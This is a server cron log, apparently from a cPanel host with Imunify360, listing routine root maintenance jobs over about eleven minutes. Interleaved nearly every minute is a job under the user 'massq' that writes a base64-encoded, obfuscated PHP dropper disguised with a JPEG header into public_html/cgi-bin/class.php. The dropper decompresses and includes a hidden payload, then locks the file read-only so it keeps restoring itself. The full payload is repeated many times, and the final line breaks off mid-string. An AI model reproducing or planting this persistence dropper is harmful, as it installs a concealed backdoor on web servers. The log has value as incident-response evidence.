Sep  6 02:34:01 server CROND[4740]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:34:01 server CROND[4741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:34:01 server CROND[4742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:35:01 server CROND[5244]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 02:35:01 server CROND[5247]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 02:35:01 server CROND[5249]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 02:35:01 server CROND[5250]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:35:01 server CROND[5254]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 02:35:01 server CROND[5252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:35:01 server CROND[5253]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:35:01 server CROND[5256]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 02:35:01 server CROND[5248]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 02:36:01 server CROND[6086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:36:01 server CROND[6087]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:36:01 server CROND[6088]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:37:01 server CROND[6463]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:37:01 server CROND[6465]: (root) CMD (/usr/local/cpanel/bin/process_ssl_reissue)
Sep  6 02:37:01 server CROND[6464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:37:01 server CROND[6466]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:38:01 server CROND[6852]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:38:01 server CROND[6853]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:38:01 server CROND[6854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:39:01 server CROND[7313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:39:01 server CROND[7314]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 02:39:01 server CROND[7315]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:39:01 server CROND[7316]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:40:01 server CROND[7841]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 02:40:01 server CROND[7850]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 02:40:01 server CROND[7857]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 02:40:01 server CROND[7858]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 02:40:01 server CROND[7860]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 02:40:01 server CROND[7859]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:40:01 server CROND[7864]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:40:01 server CROND[7862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:41:01 server CROND[8716]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:41:01 server CROND[8717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:41:01 server CROND[8718]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:42:01 server CROND[9083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:42:01 server CROND[9084]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 02:42:01 server CROND[9086]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:42:01 server CROND[9085]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:43:01 server CROND[9471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:43:01 server CROND[9474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:43:01 server CROND[9473]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:44:01 server CROND[9900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:44:01 server CROND[9902]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:44:01 server CROND[9901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 02:45:01 server CROND[10282]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 02:45:01 server CROND[10286]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 02:45:01 server CROND[10294]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 02:45:01 server CROND[10300]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 02:45:01 server CROND[10298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 02:45:01 server CROND[10299]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 02:45:01 server CROND[10301]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdL